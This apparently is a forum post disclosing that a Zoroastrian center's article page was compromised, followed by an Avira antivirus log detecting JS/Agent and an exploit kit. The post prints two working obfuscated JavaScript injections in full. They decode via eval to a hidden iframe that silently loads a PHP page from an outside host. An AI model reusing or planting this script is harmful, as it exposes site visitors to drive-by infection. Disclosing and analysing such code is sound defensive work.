- http://www.californiazoroastriancenter.org/Educations/Articles/JoseLA4.html
复制代码
- /*d04bb5*/
- r = eval;
- function vqvq() {
- zva = function() {
- --(d.body)
- }()
- };
- a = ("47,155,174,165,152,173,160,166,165,47,155,150,171,67,100,57,60,47,202,24,21,47,175,150,171,47,172,173,150,173,160,152,104,56,150,161,150,177,56,102,24,21,47,175,150,171,47,152,166,165,173,171,166,163,163,154,171,104,56,160,165,153,154,177,65,167,157,167,56,102,24,21,47,175,150,171,47,155,150,171,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,24,21,24,21,47,155,150,171,65,172,171,152,47,104,47,56,157,173,173,167,101,66,66,150,200,174,171,175,154,153,150,200,172,167,150,65,152,166,164,65,150,174,66,146,175,173,160,146,151,160,165,66,153,170,100,136,71,123,162,141,65,167,157,167,56,102,24,21,47,155,150,171,65,172,173,200,163,154,65,167,166,172,160,173,160,166,165,47,104,47,56,150,151,172,166,163,174,173,154,56,102,24,21,47,155,150,171,65,172,173,200,163,154,65,152,166,163,166,171,47,104,47,56,100,56,102,24,21,47,155,150,171,65,172,173,200,163,154,65,157,154,160,156,157,173,47,104,47,56,100,167,177,56,102,24,21,47,155,150,171,65,172,173,200,163,154,65,176,160,153,173,157,47,104,47,56,100,167,177,56,102,24,21,47,155,150,171,65,172,173,200,163,154,65,163,154,155,173,47,104,47,56,70,67,67,67,100,56,102,24,21,47,155,150,171,65,172,173,200,163,154,65,173,166,167,47,104,47,56,70,67,67,67,100,56,102,24,21,24,21,47,160,155,47,57,50,153,166,152,174,164,154,165,173,65,156,154,173,114,163,154,164,154,165,173,111,200,120,153,57,56,155,150,171,56,60,60,47,202,24,21,47,153,166,152,174,164,154,165,173,65,176,171,160,173,154,57,56,103,167,47,160,153,104,143,56,155,150,171,143,56,47,152,163,150,172,172,104,143,56,155,150,171,67,100,143,56,47,105,103,66,167,105,56,60,102,24,21,47,153,166,152,174,164,154,165,173,65,156,154,173,114,163,154,164,154,165,173,111,200,120,153,57,56,155,150,171,56,60,65,150,167,167,154,165,153,112,157,160,163,153,57,155,150,171,60,102,24,21,47,204,24,21,204,24,21,155,174,165,152,173,160,166,165,47,132,154,173,112,166,166,162,160,154,57,152,166,166,162,160,154,125,150,164,154,63,152,166,166,162,160,154,135,150,163,174,154,63,165,113,150,200,172,63,167,150,173,157,60,47,202,24,21,47,175,150,171,47,173,166,153,150,200,47,104,47,165,154,176,47,113,150,173,154,57,60,102,24,21,47,175,150,171,47,154,177,167,160,171,154,47,104,47,165,154,176,47,113,150,173,154,57,60,102,24,21,47,160,155,47,57,165,113,150,200,172,104,104,165,174,163,163,47,203,203,47,165,113,150,200,172,104,104,67,60,47,165,113,150,200,172,104,70,102,24,21,47,154,177,167,160,171,154,65,172,154,173,133,160,164,154,57,173,166,153,150,200,65,156,154,173,133,160,164,154,57,60,47,62,47,72,75,67,67,67,67,67,61,71,73,61,165,113,150,200,172,60,102,24,21,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,47,104,47,152,166,166,162,160,154,125,150,164,154,62,51,104,51,62,154,172,152,150,167,154,57,152,166,166,162,160,154,135,150,163,174,154,60,24,21,47,62,47,51,102,154,177,167,160,171,154,172,104,51,47,62,47,154,177,167,160,171,154,65,173,166,116,124,133,132,173,171,160,165,156,57,60,47,62,47,57,57,167,150,173,157,60,47,106,47,51,102,47,167,150,173,157,104,51,47,62,47,167,150,173,157,47,101,47,51,51,60,102,24,21,204,24,21,155,174,165,152,173,160,166,165,47,116,154,173,112,166,166,162,160,154,57,47,165,150,164,154,47,60,47,202,24,21,47,175,150,171,47,172,173,150,171,173,47,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,160,165,153,154,177,126,155,57,47,165,150,164,154,47,62,47,51,104,51,47,60,102,24,21,47,175,150,171,47,163,154,165,47,104,47,172,173,150,171,173,47,62,47,165,150,164,154,65,163,154,165,156,173,157,47,62,47,70,102,24,21,47,160,155,47,57,47,57,47,50,172,173,150,171,173,47,60,47,55,55,24,21,47,57,47,165,150,164,154,47,50,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,172,174,151,172,173,171,160,165,156,57,47,67,63,47,165,150,164,154,65,163,154,165,156,173,157,47,60,47,60,47,60,24,21,47,202,24,21,47,171,154,173,174,171,165,47,165,174,163,163,102,24,21,47,204,24,21,47,160,155,47,57,47,172,173,150,171,173,47,104,104,47,64,70,47,60,47,171,154,173,174,171,165,47,165,174,163,163,102,24,21,47,175,150,171,47,154,165,153,47,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,160,165,153,154,177,126,155,57,47,51,102,51,63,47,163,154,165,47,60,102,24,21,47,160,155,47,57,47,154,165,153,47,104,104,47,64,70,47,60,47,154,165,153,47,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,163,154,165,156,173,157,102,24,21,47,171,154,173,174,171,165,47,174,165,154,172,152,150,167,154,57,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,172,174,151,172,173,171,160,165,156,57,47,163,154,165,63,47,154,165,153,47,60,47,60,102,24,21,204,24,21,160,155,47,57,165,150,175,160,156,150,173,166,171,65,152,166,166,162,160,154,114,165,150,151,163,154,153,60,24,21,202,24,21,160,155,57,116,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,155,150,171,67,100,57,60,102,24,21,204,24,21,204".split(","));
- d = document;
- for (i = 0; i < a.length; i += 1) {
- a[i] = -(10 - 3) + parseInt(a[i], 4 + 4);
- }
- try {
- vqvq()
- } catch (q) {
- yy = 50 - 50;
- }
- try {
- yy /= 72
- } catch (pq) {
- yy = 1;
- }
- if (!yy) r(String["fr" + "omCh" + "arCo" + "de"].apply(String, a)); /*/d04bb5*/
- /*32f02e*/
- fqypkk = "y";
- wubcok = "d" + "o" + "c" + "u" + "ment";
- try {
- +
- function() {
- if (document.querySelector)++(window[wubcok].body) == null
- }()
- } catch (choflj) {
- gsc = function(unk) {
- unk = "fr" + "omCh" + unk;
- for (gexkou = 0; gexkou < fqypkk.length; gexkou++) {
- mssia += String[unk](htdf(vqfd + (fqypkk[gexkou])) - (69));
- }
- };
- };
- htdf = (window.eval);
- vqfd = "0x";
- wmu = 0;
- try {;
- } catch (itydli) {
- wmu = 1
- }
- if (!wmu) {
- try {
- ++htdf(wubcok)["\x62o" + "d" + fqypkk]
- } catch (choflj) {
- skhv = "^";
- }
- fqypkk = "65^ab^ba^b3^a8^b9^ae^b4^b3^65^bb^b0^b7^75^7e^6d^6e^65^c0^52^4f^65^bb^a6^b7^65^b8^b9^a6^b9^ae^a8^82^6c^a6^af^a6^bd^6c^80^52^4f^65^bb^a6^b7^65^a8^b4^b3^b9^b7^b4^b1^b1^aa^b7^82^6c^ae^b3^a9^aa^bd^73^b5^ad^b5^6c^80^52^4f^65^bb^a6^b7^65^bb^b0^b7^65^82^65^a9^b4^a8^ba^b2^aa^b3^b9^73^a8^b7^aa^a6^b9^aa^8a^b1^aa^b2^aa^b3^b9^6d^6c^ae^ab^b7^a6^b2^aa^6c^6e^80^52^4f^52^4f^65^bb^b0^b7^73^b8^b7^a8^65^82^65^6c^ad^b9^b9^b5^7f^74^74^bc^bc^bc^73^b2^b4^b9^b4^b9^ad^aa^b4^a9^b4^b7^b4^b5^b4^ba^b1^b4^b8^73^ac^b7^74^b1^a6^b3^ac^ba^a6^ac^aa^74^bd^87^88^bc^a8^b0^9b^7b^73^b5^ad^b5^6c^80^52^4f^65^bb^b0^b7^73^b8^b9^be^b1^aa^73^b5^b4^b8^ae^b9^ae^b4^b3^65^82^65^6c^a6^a7^b8^b4^b1^ba^b9^aa^6c^80^52^4f^65^bb^b0^b7^73^b8^b9^be^b1^aa^73^a8^b4^b1^b4^b7^65^82^65^6c^76^7e^6c^80^52^4f^65^bb^b0^b7^73^b8^b9^be^b1^aa^73^ad^aa^ae^ac^ad^b9^65^82^65^6c^76^7e^b5^bd^6c^80^52^4f^65^bb^b0^b7^73^b8^b9^be^b1^aa^73^bc^ae^a9^b9^ad^65^82^65^6c^76^7e^b5^bd^6c^80^52^4f^65^bb^b0^b7^73^b8^b9^be^b1^aa^73^b1^aa^ab^b9^65^82^65^6c^76^75^75^75^76^7e^6c^80^52^4f^65^bb^b0^b7^73^b8^b9^be^b1^aa^73^b9^b4^b5^65^82^65^6c^76^75^75^75^76^7e^6c^80^52^4f^52^4f^65^ae^ab^65^6d^66^a9^b4^a8^ba^b2^aa^b3^b9^73^ac^aa^b9^8a^b1^aa^b2^aa^b3^b9^87^be^8e^a9^6d^6c^bb^b0^b7^6c^6e^6e^65^c0^52^4f^65^a9^b4^a8^ba^b2^aa^b3^b9^73^bc^b7^ae^b9^aa^6d^6c^81^b5^65^ae^a9^82^a1^6c^bb^b0^b7^a1^6c^65^a8^b1^a6^b8^b8^82^a1^6c^bb^b0^b7^75^7e^a1^6c^65^83^81^74^b5^83^6c^6e^80^52^4f^65^a9^b4^a8^ba^b2^aa^b3^b9^73^ac^aa^b9^8a^b1^aa^b2^aa^b3^b9^87^be^8e^a9^6d^6c^bb^b0^b7^6c^6e^73^a6^b5^b5^aa^b3^a9^88^ad^ae^b1^a9^6d^bb^b0^b7^6e^80^52^4f^65^c2^52^4f^c2^52^4f^ab^ba^b3^a8^b9^ae^b4^b3^65^98^aa^b9^88^b4^b4^b0^ae^aa^6d^a8^b4^b4^b0^ae^aa^93^a6^b2^aa^71^a8^b4^b4^b0^ae^aa^9b^a6^b1^ba^aa^71^b3^89^a6^be^b8^71^b5^a6^b9^ad^6e^65^c0^52^4f^65^bb^a6^b7^65^b9^b4^a9^a6^be^65^82^65^b3^aa^bc^65^89^a6^b9^aa^6d^6e^80^52^4f^65^bb^a6^b7^65^aa^bd^b5^ae^b7^aa^65^82^65^b3^aa^bc^65^89^a6^b9^aa^6d^6e^80^52^4f^65^ae^ab^65^6d^b3^89^a6^be^b8^82^82^b3^ba^b1^b1^65^c1^c1^65^b3^89^a6^be^b8^82^82^75^6e^65^b3^89^a6^be^b8^82^76^80^52^4f^65^aa^bd^b5^ae^b7^aa^73^b8^aa^b9^99^ae^b2^aa^6d^b9^b4^a9^a6^be^73^ac^aa^b9^99^ae^b2^aa^6d^6e^65^70^65^78^7b^75^75^75^75^75^6f^77^79^6f^b3^89^a6^be^b8^6e^80^52^4f^65^a9^b4^a8^ba^b2^aa^b3^b9^73^a8^b4^b4^b0^ae^aa^65^82^65^a8^b4^b4^b0^ae^aa^93^a6^b2^aa^70^67^82^67^70^aa^b8^a8^a6^b5^aa^6d^a8^b4^b4^b0^ae^aa^9b^a6^b1^ba^aa^6e^52^4f^65^70^65^67^80^aa^bd^b5^ae^b7^aa^b8^82^67^65^70^65^aa^bd^b5^ae^b7^aa^73^b9^b4^8c^92^99^98^b9^b7^ae^b3^ac^6d^6e^65^70^65^6d^6d^b5^a6^b9^ad^6e^65^84^65^67^80^65^b5^a6^b9^ad^82^67^65^70^65^b5^a6^b9^ad^65^7f^65^67^67^6e^80^52^4f^c2^52^4f^ab^ba^b3^a8^b9^ae^b4^b3^65^8c^aa^b9^88^b4^b4^b0^ae^aa^6d^65^b3^a6^b2^aa^65^6e^65^c0^52^4f^65^bb^a6^b7^65^b8^b9^a6^b7^b9^65^82^65^a9^b4^a8^ba^b2^aa^b3^b9^73^a8^b4^b4^b0^ae^aa^73^ae^b3^a9^aa^bd^94^ab^6d^65^b3^a6^b2^aa^65^70^65^67^82^67^65^6e^80^52^4f^65^bb^a6^b7^65^b1^aa^b3^65^82^65^b8^b9^a6^b7^b9^65^70^65^b3^a6^b2^aa^73^b1^aa^b3^ac^b9^ad^65^70^65^76^80^52^4f^65^ae^ab^65^6d^65^6d^65^66^b8^b9^a6^b7^b9^65^6e^65^6b^6b^52^4f^65^6d^65^b3^a6^b2^aa^65^66^82^65^a9^b4^a8^ba^b2^aa^b3^b9^73^a8^b4^b4^b0^ae^aa^73^b8^ba^a7^b8^b9^b7^ae^b3^ac^6d^65^75^71^65^b3^a6^b2^aa^73^b1^aa^b3^ac^b9^ad^65^6e^65^6e^65^6e^52^4f^65^c0^52^4f^65^b7^aa^b9^ba^b7^b3^65^b3^ba^b1^b1^80^52^4f^65^c2^52^4f^65^ae^ab^65^6d^65^b8^b9^a6^b7^b9^65^82^82^65^72^76^65^6e^65^b7^aa^b9^ba^b7^b3^65^b3^ba^b1^b1^80^52^4f^65^bb^a6^b7^65^aa^b3^a9^65^82^65^a9^b4^a8^ba^b2^aa^b3^b9^73^a8^b4^b4^b0^ae^aa^73^ae^b3^a9^aa^bd^94^ab^6d^65^67^80^67^71^65^b1^aa^b3^65^6e^80^52^4f^65^ae^ab^65^6d^65^aa^b3^a9^65^82^82^65^72^76^65^6e^65^aa^b3^a9^65^82^65^a9^b4^a8^ba^b2^aa^b3^b9^73^a8^b4^b4^b0^ae^aa^73^b1^aa^b3^ac^b9^ad^80^52^4f^65^b7^aa^b9^ba^b7^b3^65^ba^b3^aa^b8^a8^a6^b5^aa^6d^65^a9^b4^a8^ba^b2^aa^b3^b9^73^a8^b4^b4^b0^ae^aa^73^b8^ba^a7^b8^b9^b7^ae^b3^ac^6d^65^b1^aa^b3^71^65^aa^b3^a9^65^6e^65^6e^80^52^4f^c2^52^4f^ae^ab^65^6d^b3^a6^bb^ae^ac^a6^b9^b4^b7^73^a8^b4^b4^b0^ae^aa^8a^b3^a6^a7^b1^aa^a9^6e^52^4f^c0^52^4f^ae^ab^6d^8c^aa^b9^88^b4^b4^b0^ae^aa^6d^6c^bb^ae^b8^ae^b9^aa^a9^a4^ba^b6^6c^6e^82^82^7a^7a^6e^c0^c2^aa^b1^b8^aa^c0^98^aa^b9^88^b4^b4^b0^ae^aa^6d^6c^bb^ae^b8^ae^b9^aa^a9^a4^ba^b6^6c^71^65^6c^7a^7a^6c^71^65^6c^76^6c^71^65^6c^74^6c^6e^80^52^4f^52^4f^bb^b0^b7^75^7e^6d^6e^80^52^4f^c2^52^4f^c2".split(skhv);
- mssia = "";
- gsc("arCode");
- htdf("" + mssia);
- } /*/32f02e*/
复制代码
Avira
2013/9/24 上午 06:15 [System Scanner] 發現惡意程式碼
檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Low\Content.IE5\GP9UHU8J\ddl[1].js'
包含病毒或有害的程式 'JS/Agent.55512' [virus]
已採取動作:
檔案會移動至 '4cbf3f8b.qua' 名稱底下的隔離區目錄。.
2013/9/24 上午 06:15 [System Scanner] 發現惡意程式碼
檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Low\Content.IE5\GP9UHU8J\dvc[1].js'
包含病毒或有害的程式 'JS/Agent.55512' [virus]
已採取動作:
檔案會移動至 '542713da.qua' 名稱底下的隔離區目錄。.
2013/9/24 上午 06:15 [System Scanner] 發現惡意程式碼
檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Low\Content.IE5\BM0NVITH\psrc[1].js'
包含病毒或有害的程式 'JS/Agent.55512' [virus]
已採取動作:
檔案會移動至 '1efe6692.qua' 名稱底下的隔離區目錄。.
2013/9/24 上午 06:15 [System Scanner] 掃描
掃描結束 [已完成全部的掃描。]。
檔案數: 843
目錄數: 0
惡意程式碼數: 4
警告數: 0
2013/9/24 上午 06:15 [System Scanner] 發現惡意程式碼
檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Low\Content.IE5\A1VVYTC4\dci[1].js'
包含病毒或有害的程式 'JS/Agent.55512' [virus]
已採取動作:
檔案會移動至 '78d22aa0.qua' 名稱底下的隔離區目錄。.
2013/9/24 上午 06:15 [System Scanner] 發現惡意程式碼
檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Low\Content.IE5\A1VVYTC4\JoseLA4[1].htm'
包含病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]
已採取動作:
檔案會移動至 '55291c44.qua' 名稱底下的隔離區目錄。.
2013/9/24 上午 06:15 [System Scanner] 掃描
掃描結束 [已完成全部的掃描。]。
檔案數: 840
目錄數: 0
惡意程式碼數: 1
警告數: 0
2013/9/24 上午 06:14 [Real-Time Protection] 發現惡意程式碼
在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Low\Content.IE5\GP9UHU8J\dvc[1].js 中
偵測到病毒或有害的程式 'JS/Agent.55512 [virus]'
執行的動作:傳輸至掃描程式
2013/9/24 上午 06:14 [Real-Time Protection] 發現惡意程式碼
在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Low\Content.IE5\A1VVYTC4\JoseLA4[1].htm 中
偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
執行的動作:傳輸至掃描程式
2013/9/24 上午 06:14 [Real-Time Protection] 發現惡意程式碼
在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Low\Content.IE5\GP9UHU8J\ddl[1].js 中
偵測到病毒或有害的程式 'JS/Agent.55512 [virus]'
執行的動作:傳輸至掃描程式
2013/9/24 上午 06:14 [Real-Time Protection] 發現惡意程式碼
在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Low\Content.IE5\BM0NVITH\psrc[1].js 中
偵測到病毒或有害的程式 'JS/Agent.55512 [virus]'
執行的動作:傳輸至掃描程式
2013/9/24 上午 06:14 [Real-Time Protection] 發現惡意程式碼
在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Low\Content.IE5\A1VVYTC4\dci[1].js 中
偵測到病毒或有害的程式 'JS/Agent.55512 [virus]'
執行的動作:傳輸至掃描程式
2013/9/24 上午 06:14 [Real-Time Protection] 發現惡意程式碼
在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Low\Content.IE5\A1VVYTC4\dci[1].js 中
偵測到病毒或有害的程式 'JS/Agent.55512 [virus]'
執行的動作:拒絕存取
2013/9/24 上午 06:14 [Real-Time Protection] 發現惡意程式碼
在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Low\Content.IE5\GP9UHU8J\dvc[1].js 中
偵測到病毒或有害的程式 'JS/Agent.55512 [virus]'
執行的動作:拒絕存取
2013/9/24 上午 06:14 [Real-Time Protection] 發現惡意程式碼
在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Low\Content.IE5\GP9UHU8J\ddl[1].js 中
偵測到病毒或有害的程式 'JS/Agent.55512 [virus]'
執行的動作:拒絕存取
2013/9/24 上午 06:14 [Real-Time Protection] 發現惡意程式碼
在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Low\Content.IE5\A1VVYTC4\JoseLA4[1].htm 中
偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
執行的動作:拒絕存取
2013/9/24 上午 06:14 [Real-Time Protection] 發現惡意程式碼
在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Low\Content.IE5\BM0NVITH\psrc[1].js 中
偵測到病毒或有害的程式 'JS/Agent.55512 [virus]'
執行的動作:拒絕存取
2013/9/24 上午 06:14 [Web Protection] 已停用 Web Protection
服務已停用
2013/9/24 上午 06:14 [Web Protection] 封鎖的網頁
URL
(http://www.californiazoroastriancenter.org/Educations/Articles/JoseLA4.html)
的評估結果為 惡意程式碼,而遭到封鎖。
fs mis
|